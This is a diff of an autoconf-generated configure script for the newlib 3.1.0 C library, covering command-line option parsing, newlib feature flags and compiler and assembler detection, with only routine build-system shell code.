--datarootdi | --datarootd | --dataroot \ ++ | --dataroo | --dataro | --datar) ++ ac_prev=datarootdir ;; ++ -datarootdir=* | --datarootdir=* | --datarootdi=* | --datarootd=* \ ++ | --dataroot=* | --dataroo=* | --dataro=* | --datar=*) ++ datarootdir=$ac_optarg ;; ++ ++ -disable-* | --disable-*) ++ ac_useropt=`expr "x$ac_option" : 'x-*disable-\(.*\)'` ++ # Reject names that are not valid shell variable names. ++ expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && ++ as_fn_error $? "invalid feature name: $ac_useropt" ++ ac_useropt_orig=$ac_useropt ++ ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` ++ case $ac_user_opts in ++ *" ++"enable_$ac_useropt" ++"*) ;; ++ *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--disable-$ac_useropt_orig" ++ ac_unrecognized_sep=', ';; ++ esac ++ eval enable_$ac_useropt=no ;; ++ ++ -docdir | --docdir | --docdi | --doc | --do) ++ ac_prev=docdir ;; ++ -docdir=* | --docdir=* | --docdi=* | --doc=* | --do=*) ++ docdir=$ac_optarg ;; ++ ++ -dvidir | --dvidir | --dvidi | --dvid | --dvi | --dv) ++ ac_prev=dvidir ;; ++ -dvidir=* | --dvidir=* | --dvidi=* | --dvid=* | --dvi=* | --dv=*) ++ dvidir=$ac_optarg ;; ++ ++ -enable-* | --enable-*) ++ ac_useropt=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'` ++ # Reject names that are not valid shell variable names. ++ expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && ++ as_fn_error $? "invalid feature name: $ac_useropt" ++ ac_useropt_orig=$ac_useropt ++ ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` ++ case $ac_user_opts in ++ *" ++"enable_$ac_useropt" ++"*) ;; ++ *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--enable-$ac_useropt_orig" ++ ac_unrecognized_sep=', ';; ++ esac ++ eval enable_$ac_useropt=\$ac_optarg ;; ++ ++ -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ ++ | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ ++ | --exec | --exe | --ex) ++ ac_prev=exec_prefix ;; ++ -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ ++ | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ ++ | --exec=* | --exe=* | --ex=*) ++ exec_prefix=$ac_optarg ;; ++ ++ -gas | --gas | --ga | --g) ++ # Obsolete; use --with-gas. ++ with_gas=yes ;; ++ ++ -help | --help | --hel | --he | -h) ++ ac_init_help=long ;; ++ -help=r* | --help=r* | --hel=r* | --he=r* | -hr*) ++ ac_init_help=recursive ;; ++ -help=s* | --help=s* | --hel=s* | --he=s* | -hs*) ++ ac_init_help=short ;; ++ ++ -host | --host | --hos | --ho) ++ ac_prev=host_alias ;; ++ -host=* | --host=* | --hos=* | --ho=*) ++ host_alias=$ac_optarg ;; ++ ++ -htmldir | --htmldir | --htmldi | --htmld | --html | --htm | --ht) ++ ac_prev=htmldir ;; ++ -htmldir=* | --htmldir=* | --htmldi=* | --htmld=* | --html=* | --htm=* \ ++ | --ht=*) ++ htmldir=$ac_optarg ;; ++ ++ -includedir | --includedir | --includedi | --included | --include \ ++ | --includ | --inclu | --incl | --inc) ++ ac_prev=includedir ;; ++ -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ ++ | --includ=* | --inclu=* | --incl=* | --inc=*) ++ includedir=$ac_optarg ;; ++ ++ -infodir | --infodir | --infodi | --infod | --info | --inf) ++ ac_prev=infodir ;; ++ -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) ++ infodir=$ac_optarg ;; ++ ++ -libdir | --libdir | --libdi | --libd) ++ ac_prev=libdir ;; ++ -libdir=* | --libdir=* | --libdi=* | --libd=*) ++ libdir=$ac_optarg ;; ++ ++ -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ ++ | --libexe | --libex | --libe) ++ ac_prev=libexecdir ;; ++ -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ ++ | --libexe=* | --libex=* | --libe=*) ++ libexecdir=$ac_optarg ;; ++ ++ -localedir | --localedir | --localedi | --localed | --locale) ++ ac_prev=localedir ;; ++ -localedir=* | --localedir=* | --localedi=* | --localed=* | --locale=*) ++ localedir=$ac_optarg ;; ++ ++ -localstatedir | --localstatedir | --localstatedi | --localstated \ ++ | --localstate | --localstat | --localsta | --localst | --locals) ++ ac_prev=localstatedir ;; ++ -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ ++ | --localstate=* | --localstat=* | --localsta=* | --localst=* | --locals=*) ++ localstatedir=$ac_optarg ;; ++ ++ -mandir | --mandir | --mandi | --mand | --man | --ma | --m) ++ ac_prev=mandir ;; ++ -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) ++ mandir=$ac_optarg ;; ++ ++ -nfp | --nfp | --nf) ++ # Obsolete; use --without-fp. ++ with_fp=no ;; ++ ++ -no-create | --no-create | --no-creat | --no-crea | --no-cre \ ++ | --no-cr | --no-c | -n) ++ no_create=yes ;; ++ ++ -no-recursion | --no-recursion | --no-recursio | --no-recursi \ ++ | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) ++ no_recursion=yes ;; ++ ++ -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ ++ | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ ++ | --oldin | --oldi | --old | --ol | --o) ++ ac_prev=oldincludedir ;; ++ -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ ++ | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ ++ | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) ++ oldincludedir=$ac_optarg ;; ++ ++ -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) ++ ac_prev=prefix ;; ++ -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) ++ prefix=$ac_optarg ;; ++ ++ -program-prefix | --program-prefix | --program-prefi | --program-pref \ ++ | --program-pre | --program-pr | --program-p) ++ ac_prev=program_prefix ;; ++ -program-prefix=* | --program-prefix=* | --program-prefi=* \ ++ | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) ++ program_prefix=$ac_optarg ;; ++ ++ -program-suffix | --program-suffix | --program-suffi | --program-suff \ ++ | --program-suf | --program-su | --program-s) ++ ac_prev=program_suffix ;; ++ -program-suffix=* | --program-suffix=* | --program-suffi=* \ ++ | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) ++ program_suffix=$ac_optarg ;; ++ ++ -program-transform-name | --program-transform-name \ ++ | --program-transform-nam | --program-transform-na \ ++ | --program-transform-n | --program-transform- \ ++ | --program-transform | --program-transfor \ ++ | --program-transfo | --program-transf \ ++ | --program-trans | --program-tran \ ++ | --progr-tra | --program-tr | --program-t) ++ ac_prev=program_transform_name ;; ++ -program-transform-name=* | --program-transform-name=* \ ++ | --program-transform-nam=* | --program-transform-na=* \ ++ | --program-transform-n=* | --program-transform-=* \ ++ | --program-transform=* | --program-transfor=* \ ++ | --program-transfo=* | --program-transf=* \ ++ | --program-trans=* | --program-tran=* \ ++ | --progr-tra=* | --program-tr=* | --program-t=*) ++ program_transform_name=$ac_optarg ;; ++ ++ -pdfdir | --pdfdir | --pdfdi | --pdfd | --pdf | --pd) ++ ac_prev=pdfdir ;; ++ -pdfdir=* | --pdfdir=* | --pdfdi=* | --pdfd=* | --pdf=* | --pd=*) ++ pdfdir=$ac_optarg ;; ++ ++ -psdir | --psdir | --psdi | --psd | --ps) ++ ac_prev=psdir ;; ++ -psdir=* | --psdir=* | --psdi=* | --psd=* | --ps=*) ++ psdir=$ac_optarg ;; ++ ++ -q | -quiet | --quiet | --quie | --qui | --qu | --q \ ++ | -silent | --silent | --silen | --sile | --sil) ++ silent=yes ;; ++ ++ -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) ++ ac_prev=sbindir ;; ++ -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ ++ | --sbi=* | --sb=*) ++ sbindir=$ac_optarg ;; ++ ++ -sharedstatedir | --sharedstatedir | --sharedstatedi \ ++ | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ ++ | --sharedst | --shareds | --shared | --share | --shar \ ++ | --sha | --sh) ++ ac_prev=sharedstatedir ;; ++ -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ ++ | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ ++ | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ ++ | --sha=* | --sh=*) ++ sharedstatedir=$ac_optarg ;; ++ ++ -site | --site | --sit) ++ ac_prev=site ;; ++ -site=* | --site=* | --sit=*) ++ site=$ac_optarg ;; ++ ++ -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) ++ ac_prev=srcdir ;; ++ -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) ++ srcdir=$ac_optarg ;; ++ ++ -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ ++ | --syscon | --sysco | --sysc | --sys | --sy) ++ ac_prev=sysconfdir ;; ++ -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ ++ | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) ++ sysconfdir=$ac_optarg ;; ++ ++ -target | --target | --targe | --targ | --tar | --ta | --t) ++ ac_prev=target_alias ;; ++ -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) ++ target_alias=$ac_optarg ;; ++ ++ -v | -verbose | --verbose | --verbos | --verbo | --verb) ++ verbose=yes ;; ++ ++ -version | --version | --versio | --versi | --vers | -V) ++ ac_init_version=: ;; ++ ++ -with-* | --with-*) ++ ac_useropt=`expr "x$ac_option" : 'x-*with-\([^=]*\)'` ++ # Reject names that are not valid shell variable names. ++ expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && ++ as_fn_error $? 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"invalid package name: $ac_useropt" ++ ac_useropt_orig=$ac_useropt ++ ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` ++ case $ac_user_opts in ++ *" ++"with_$ac_useropt" ++"*) ;; ++ *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--without-$ac_useropt_orig" ++ ac_unrecognized_sep=', ';; ++ esac ++ eval with_$ac_useropt=no ;; ++ ++ --x) ++ # Obsolete; use --with-x. ++ with_x=yes ;; ++ ++ -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ ++ | --x-incl | --x-inc | --x-in | --x-i) ++ ac_prev=x_includes ;; ++ -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ ++ | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) ++ x_includes=$ac_optarg ;; ++ ++ -x-libraries | --x-libraries | --x-librarie | --x-librari \ ++ | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) ++ ac_prev=x_libraries ;; ++ -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ ++ | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) ++ x_libraries=$ac_optarg ;; ++ ++ -*) as_fn_error $? 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"bad value ${enableval} for multilib option" "$LINENO" 5 ;; ++ esac ++else ++ multilib=yes ++fi ++ ++# Check whether --enable-target-optspace was given. ++if test "${enable_target_optspace+set}" = set; then : ++ enableval=$enable_target_optspace; case "${enableval}" in ++ yes) target_optspace=yes ;; ++ no) target_optspace=no ;; ++ *) as_fn_error $? "bad value ${enableval} for target-optspace option" "$LINENO" 5 ;; ++ esac ++else ++ target_optspace= ++fi ++ ++# Check whether --enable-malloc-debugging was given. ++if test "${enable_malloc_debugging+set}" = set; then : ++ enableval=$enable_malloc_debugging; case "${enableval}" in ++ yes) malloc_debugging=yes ;; ++ no) malloc_debugging=no ;; ++ *) as_fn_error $? "bad value ${enableval} for malloc-debugging option" "$LINENO" 5 ;; ++ esac ++else ++ malloc_debugging= ++fi ++ ++# Check whether --enable-newlib-multithread was given. ++if test "${enable_newlib_multithread+set}" = set; then : ++ enableval=$enable_newlib_multithread; case "${enableval}" in ++ yes) newlib_multithread=yes ;; ++ no) newlib_multithread=no ;; ++ *) as_fn_error $? "bad value ${enableval} for newlib-multithread option" "$LINENO" 5 ;; ++ esac ++else ++ newlib_multithread=yes ++fi ++ ++# Check whether --enable-newlib-iconv was given. ++if test "${enable_newlib_iconv+set}" = set; then : ++ enableval=$enable_newlib_iconv; if test "${newlib_iconv+set}" != set; then ++ case "${enableval}" in ++ yes) newlib_iconv=yes ;; ++ no) newlib_iconv=no ;; ++ *) as_fn_error $? "bad value ${enableval} for newlib-iconv option" "$LINENO" 5 ;; ++ esac ++ fi ++else ++ newlib_iconv=${newlib_iconv} ++fi ++ ++# Check whether --enable-newlib-elix-level was given. ++if test "${enable_newlib_elix_level+set}" = set; then : ++ enableval=$enable_newlib_elix_level; case "${enableval}" in ++ 0) newlib_elix_level=0 ;; ++ 1) newlib_elix_level=1 ;; ++ 2) newlib_elix_level=2 ;; ++ 3) newlib_elix_level=3 ;; ++ 4) newlib_elix_level=4 ;; ++ *) as_fn_error $? "bad value ${enableval} for newlib-elix-level option" "$LINENO" 5 ;; ++ esac ++else ++ newlib_elix_level=0 ++fi ++ ++# Check whether --enable-newlib-io-float was given. ++if test "${enable_newlib_io_float+set}" = set; then : ++ enableval=$enable_newlib_io_float; case "${enableval}" in ++ yes) newlib_io_float=yes ;; ++ no) newlib_io_float=no ;; ++ *) as_fn_error $? "bad value ${enableval} for newlib-io-float option" "$LINENO" 5 ;; ++ esac ++else ++ newlib_io_float=yes ++fi ++ ++# Check whether --enable-newlib-supplied-syscalls was given. ++if test "${enable_newlib_supplied_syscalls+set}" = set; then : ++ enableval=$enable_newlib_supplied_syscalls; case "${enableval}" in ++ yes) newlib_may_supply_syscalls=yes ;; ++ no) newlib_may_supply_syscalls=no ;; ++ *) as_fn_error $? "bad value ${enableval} for newlib-supplied-syscalls option" "$LINENO" 5 ;; ++ esac ++else ++ newlib_may_supply_syscalls=yes ++fi ++ ++ if test x${newlib_may_supply_syscalls} = xyes; then ++ MAY_SUPPLY_SYSCALLS_TRUE= ++ MAY_SUPPLY_SYSCALLS_FALSE='#' ++else ++ MAY_SUPPLY_SYSCALLS_TRUE='#' ++ MAY_SUPPLY_SYSCALLS_FALSE= ++fi ++ ++ ++# Check whether --enable-newlib-fno-builtin was given. ++if test "${enable_newlib_fno_builtin+set}" = set; then : ++ enableval=$enable_newlib_fno_builtin; case "${enableval}" in ++ yes) newlib_fno_builtin=yes ;; ++ no) newlib_fno_builtin=no ;; ++ *) as_fn_error $? "bad value ${enableval} for newlib-fno-builtin option" "$LINENO" 5 ;; ++ esac ++else ++ newlib_fno_builtin= ++fi ++ ++ ++ ++test -z "${with_target_subdir}" && with_target_subdir=. ++ ++if test "${srcdir}" = "."; then ++ if test "${with_target_subdir}" != "."; then ++ newlib_basedir="${srcdir}/${with_multisrctop}../../../.." ++ else ++ newlib_basedir="${srcdir}/${with_multisrctop}../../.." ++ fi ++else ++ newlib_basedir="${srcdir}/../../.." ++fi ++ ++ ++ ++ ++if test "`cd $srcdir && pwd`" != "`pwd`"; then ++ # Use -I$(srcdir) only when $(srcdir) != ., so that make's output ++ # is not polluted with repeated "-I." ++ am__isrc=' -I$(srcdir)' ++ # test to see if srcdir already configured ++ if test -f $srcdir/config.status; then ++ as_fn_error $? "source directory already configured; run \"make distclean\" there first" "$LINENO" 5 ++ fi ++fi ++ ++# test whether we have cygpath ++if test -z "$CYGPATH_W"; then ++ if (cygpath --version) >/dev/null 2>/dev/null; then ++ CYGPATH_W='cygpath -w' ++ else ++ CYGPATH_W=echo ++ fi ++fi ++ ++ ++# Define the identity of the package. ++ PACKAGE='newlib' ++ VERSION='3.1.0' ++ ++ ++# Some tools Automake needs. ++ ++ACLOCAL=${ACLOCAL-"${am_missing_run}aclocal-${am__api_version}"} ++ ++ ++AUTOCONF=${AUTOCONF-"${am_missing_run}autoconf"} ++ ++ ++AUTOMAKE=${AUTOMAKE-"${am_missing_run}automake-${am__api_version}"} ++ ++ ++AUTOHEADER=${AUTOHEADER-"${am_missing_run}autoheader"} ++ ++ ++MAKEINFO=${MAKEINFO-"${am_missing_run}makeinfo"} ++ ++# We need awk for the "check" target. The system "awk" is bad on ++# some platforms. ++# Always define AMTAR for backward compatibility. Yes, it's still used ++# in the wild :-( We should find a proper way to deprecate it ... ++AMTAR='$${TAR-tar}' ++ ++am__tar='$${TAR-tar} chof - "$$tardir"' am__untar='$${TAR-tar} xf -' ++ ++ ++ ++ ++ ++ ++# FIXME: We temporarily define our own version of AC_PROG_CC. This is ++# copied from autoconf 2.12, but does not call AC_PROG_CC_WORKS. We ++# are probably using a cross compiler, which will not be able to fully ++# link an executable. This should really be fixed in autoconf ++# itself. ++ ++ ++ ++ ++ ++ ++ ++# Extract the first word of "gcc", so it can be a program name with args. ++set dummy gcc; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... 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For instance ++ # both Tru64's cc and ICC support -MD to output dependencies as a ++ # side effect of compilation, but ICC will put the dependencies in ++ # the current directory while Tru64 will put them in the object ++ # directory. ++ mkdir sub ++ ++ am_cv_CC_dependencies_compiler_type=none ++ if test "$am_compiler_list" = ""; then ++ am_compiler_list=`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./depcomp` ++ fi ++ am__universal=false ++ case " $depcc " in #( ++ *\ -arch\ *\ -arch\ *) am__universal=true ;; ++ esac ++ ++ for depmode in $am_compiler_list; do ++ # Setup a source with many dependencies, because some compilers ++ # like to wrap large dependency lists on column 80 (with \), and ++ # we should not choose a depcomp mode which is confused by this. ++ # ++ # We need to recreate these files for each test, as the compiler may ++ # overwrite some of them when testing with obscure command lines. ++ # This happens at least with the AIX C compiler. ++ : > sub/conftest.c ++ for i in 1 2 3 4 5 6; do ++ echo '#include "conftst'$i'.h"' >> sub/conftest.c ++ # Using `: > sub/conftst$i.h' creates only sub/conftst1.h with ++ # Solaris 8's {/usr,}/bin/sh. ++ touch sub/conftst$i.h ++ done ++ echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf ++ ++ # We check with `-c' and `-o' for the sake of the "dashmstdout" ++ # mode. It turns out that the SunPro C++ compiler does not properly ++ # handle `-M -o', and we need to detect this. Also, some Intel ++ # versions had trouble with output in subdirs ++ am__obj=sub/conftest.${OBJEXT-o} ++ am__minus_obj="-o $am__obj" ++ case $depmode in ++ gcc) ++ # This depmode causes a compiler race in universal mode. ++ test "$am__universal" = false || continue ++ ;; ++ nosideeffect) ++ # after this tag, mechanisms are not by side-effect, so they'll ++ # only be used when explicitly requested ++ if test "x$enable_dependency_tracking" = xyes; then ++ continue ++ else ++ break ++ fi ++ ;; ++ msvc7 | msvc7msys | msvisualcpp | msvcmsys) ++ # This compiler won't grok `-c -o', but also, the minuso test has ++ # not run yet. These depmodes are late enough in the game, and ++ # so weak that their functioning should not be impacted. ++ am__obj=conftest.${OBJEXT-o} ++ am__minus_obj= ++ ;; ++ none) break ;; ++ esac ++ if depmode=$depmode \ ++ source=sub/conftest.c object=$am__obj \ ++ depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \ ++ $SHELL ./depcomp $depcc -c $am__minus_obj sub/conftest.c \ ++ >/dev/null 2>conftest.err && ++ grep sub/conftst1.h sub/conftest.Po > /dev/null 2>&1 && ++ grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && ++ grep $am__obj sub/conftest.Po > /dev/null 2>&1 && ++ ${MAKE-make} -s -f confmf > /dev/null 2>&1; then ++ # icc doesn't choke on unknown options, it will just issue warnings ++ # or remarks (even with -Werror). So we grep stderr for any message ++ # that says an option was ignored or not supported. ++ # When given -MP, icc 7.0 and 7.1 complain thusly: ++ # icc: Command line warning: ignoring option '-M'; no argument required ++ # The diagnosis changed in icc 8.0: ++ # icc: Command line remark: option '-MP' not supported ++ if (grep 'ignoring option' conftest.err || ++ grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else ++ am_cv_CC_dependencies_compiler_type=$depmode ++ break ++ fi ++ fi ++ done ++ ++ cd .. ++ rm -rf conftest.dir ++else ++ am_cv_CC_dependencies_compiler_type=none ++fi ++ ++fi ++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $am_cv_CC_dependencies_compiler_type" >&5 ++$as_echo "$am_cv_CC_dependencies_compiler_type" >&6; } ++CCDEPMODE=depmode=$am_cv_CC_dependencies_compiler_type ++ ++ if ++ test "x$enable_dependency_tracking" != xno \ ++ && test "$am_cv_CC_dependencies_compiler_type" = gcc3; then ++ am__fastdepCC_TRUE= ++ am__fastdepCC_FALSE='#' ++else ++ am__fastdepCC_TRUE='#' ++ am__fastdepCC_FALSE= ++fi ++ ++ ++if test -z "$CC"; then ++ # Extract the first word of "cc", so it can be a program name with args. ++set dummy cc; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... " >&6; } ++if ${ac_cv_prog_CC+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ if test -n "$CC"; then ++ ac_cv_prog_CC="$CC" # Let the user override the test. ++else ++ ac_prog_rejected=no ++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ for ac_exec_ext in '' $ac_executable_extensions; do ++ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ++ if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then ++ ac_prog_rejected=yes ++ continue ++ fi ++ ac_cv_prog_CC="cc" ++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 ++ break 2 ++ fi ++done ++ done ++IFS=$as_save_IFS ++ ++if test $ac_prog_rejected = yes; then ++ # We found a bogon in the path, so make sure we never use it. ++ set dummy $ac_cv_prog_CC ++ shift ++ if test $# != 0; then ++ # We chose a different compiler from the bogus one. ++ # However, it has the same basename, so the bogon will be chosen ++ # first if we set CC to just the basename; use the full file name. ++ shift ++ ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" ++ fi ++fi ++fi ++fi ++CC=$ac_cv_prog_CC ++if test -n "$CC"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 ++$as_echo "$CC" >&6; } ++else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 ++$as_echo "no" >&6; } ++fi ++ ++ ++ test -z "$CC" && as_fn_error $? "no acceptable cc found in \$PATH" "$LINENO" 5 ++fi ++ ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are using GNU C" >&5 ++$as_echo_n "checking whether we are using GNU C... " >&6; } ++if ${ac_cv_c_compiler_gnu+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ cat > conftest.c <&5 ++ (eval $ac_try) 2>&5 ++ ac_status=$? ++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 ++ test $ac_status = 0; }; } | egrep yes >/dev/null 2>&1; then ++ ac_cv_c_compiler_gnu=yes ++else ++ ac_cv_c_compiler_gnu=no ++fi ++fi ++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_compiler_gnu" >&5 ++$as_echo "$ac_cv_c_compiler_gnu" >&6; } ++ ++if test $ac_cv_c_compiler_gnu = yes; then ++ GCC=yes ++ ac_test_CFLAGS="${CFLAGS+set}" ++ ac_save_CFLAGS="$CFLAGS" ++ ac_test_CFLAGS=${CFLAGS+set} ++ac_save_CFLAGS=$CFLAGS ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether $CC accepts -g" >&5 ++$as_echo_n "checking whether $CC accepts -g... " >&6; } ++if ${ac_cv_prog_cc_g+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ ac_save_c_werror_flag=$ac_c_werror_flag ++ ac_c_werror_flag=yes ++ ac_cv_prog_cc_g=no ++ CFLAGS="-g" ++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext ++/* end confdefs.h. */ ++ ++int ++main () ++{ ++ ++ ; ++ return 0; ++} ++_ACEOF ++if ac_fn_c_try_compile "$LINENO"; then : ++ ac_cv_prog_cc_g=yes ++else ++ CFLAGS="" ++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext ++/* end confdefs.h. */ ++ ++int ++main () ++{ ++ ++ ; ++ return 0; ++} ++_ACEOF ++if ac_fn_c_try_compile "$LINENO"; then : ++ ++else ++ ac_c_werror_flag=$ac_save_c_werror_flag ++ CFLAGS="-g" ++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext ++/* end confdefs.h. */ ++ ++int ++main () ++{ ++ ++ ; ++ return 0; ++} ++_ACEOF ++if ac_fn_c_try_compile "$LINENO"; then : ++ ac_cv_prog_cc_g=yes ++fi ++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext ++fi ++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext ++fi ++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext ++ ac_c_werror_flag=$ac_save_c_werror_flag ++fi ++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_g" >&5 ++$as_echo "$ac_cv_prog_cc_g" >&6; } ++if test "$ac_test_CFLAGS" = set; then ++ CFLAGS=$ac_save_CFLAGS ++elif test $ac_cv_prog_cc_g = yes; then ++ if test "$GCC" = yes; then ++ CFLAGS="-g -O2" ++ else ++ CFLAGS="-g" ++ fi ++else ++ if test "$GCC" = yes; then ++ CFLAGS="-O2" ++ else ++ CFLAGS= ++ fi ++fi ++ if test "$ac_test_CFLAGS" = set; then ++ CFLAGS="$ac_save_CFLAGS" ++ elif test $ac_cv_prog_cc_g = yes; then ++ CFLAGS="-g -O2" ++ else ++ CFLAGS="-O2" ++ fi ++else ++ GCC= ++ test "${CFLAGS+set}" = set || CFLAGS="-g" ++fi ++ ++ ++if test -n "$ac_tool_prefix"; then ++ # Extract the first word of "${ac_tool_prefix}as", so it can be a program name with args. ++set dummy ${ac_tool_prefix}as; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... " >&6; } ++if ${ac_cv_prog_AS+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ if test -n "$AS"; then ++ ac_cv_prog_AS="$AS" # Let the user override the test. ++else ++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ for ac_exec_ext in '' $ac_executable_extensions; do ++ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ++ ac_cv_prog_AS="${ac_tool_prefix}as" ++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 ++ break 2 ++ fi ++done ++ done ++IFS=$as_save_IFS ++ ++fi ++fi ++AS=$ac_cv_prog_AS ++if test -n "$AS"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AS" >&5 ++$as_echo "$AS" >&6; } ++else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 ++$as_echo "no" >&6; } ++fi ++ ++ ++fi ++if test -z "$ac_cv_prog_AS"; then ++ ac_ct_AS=$AS ++ # Extract the first word of "as", so it can be a program name with args. ++set dummy as; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... " >&6; } ++if ${ac_cv_prog_ac_ct_AS+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ if test -n "$ac_ct_AS"; then ++ ac_cv_prog_ac_ct_AS="$ac_ct_AS" # Let the user override the test. ++else ++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ for ac_exec_ext in '' $ac_executable_extensions; do ++ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ++ ac_cv_prog_ac_ct_AS="as" ++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 ++ break 2 ++ fi ++done ++ done ++IFS=$as_save_IFS ++ ++fi ++fi ++ac_ct_AS=$ac_cv_prog_ac_ct_AS ++if test -n "$ac_ct_AS"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_AS" >&5 ++$as_echo "$ac_ct_AS" >&6; } ++else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 ++$as_echo "no" >&6; } ++fi ++ ++ if test "x$ac_ct_AS" = x; then ++ AS="" ++ else ++ case $cross_compiling:$ac_tool_warned in ++yes:) ++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 ++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} 